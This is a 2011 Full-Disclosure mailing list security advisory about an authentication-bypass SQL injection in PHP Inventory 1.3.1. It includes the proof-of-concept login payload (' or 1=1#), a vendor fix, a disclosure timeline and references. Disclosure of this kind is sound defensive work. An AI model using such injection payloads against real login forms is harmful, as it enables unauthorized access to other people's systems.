[Full-disclosure] PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability

Schurtz, Stefan S.Schurtz at infoserve.de
Wed Nov 30 15:45:26 GMT 2011


Advisory:	 	PHP Inventory 1.3.1 Remote (Auth Bypass) SQL
Injection Vulnerability
Advisory ID:		INFOSERVE-ADV2011-08
Author:			Stefan Schurtz
Contact:			security at infoserve.de
Affected Software:	Successfully tested on PHP Inventory 1.3.1
Vendor URL:		http://www.phpwares.com/
Vendor Status:		fixed
CVE-ID:			CVE-2009-4595,CVE-2009-4596,CVE-2009-4597

==========================
Vulnerability Description
==========================

PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass)
vulnerability

==================
PoC-Exploit
==================

http://[target]/php-inventory/index.php 

// with 'magic_quotes_gpc = Off'

USER NAME = ' or 1=1#

or

USER NAME = admin
PASSWORD = ' or 1=1#

=========
Solution
=========

Update to the latest version 1.3.2

====================
Disclosure Timeline
====================

29-Nov-2011 - informed vendor (contact form)
30-Nov-2011 - vendor fix

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt
http://www.exploit-db.com/exploits/10370/
http://secunia.com/advisories/37672/

Kind regards,
Stefan Schurtz | SECURE INFRASTRUCTURE

INFOSERVE GmbH | Am Felsbrunnen 15 | D-66119 Saarbrücken
Fon +49 (0)681 88008-52 | Fax +49 (0)681 88008-33 |
s.schurtz at infoserve.de | www.infoserve.de

Handelsregister: Amtsgericht Saarbrücken, HRB 11001 | Erfüllungsort:
Saarbrücken
Geschäftsführer: Dr. Stefan Leinenbach | Ust-IdNr.: DE168970599
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 7511 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20111130/2181d138/attachment.bin 


Full-Disclosure is hosted and sponsored by Secunia.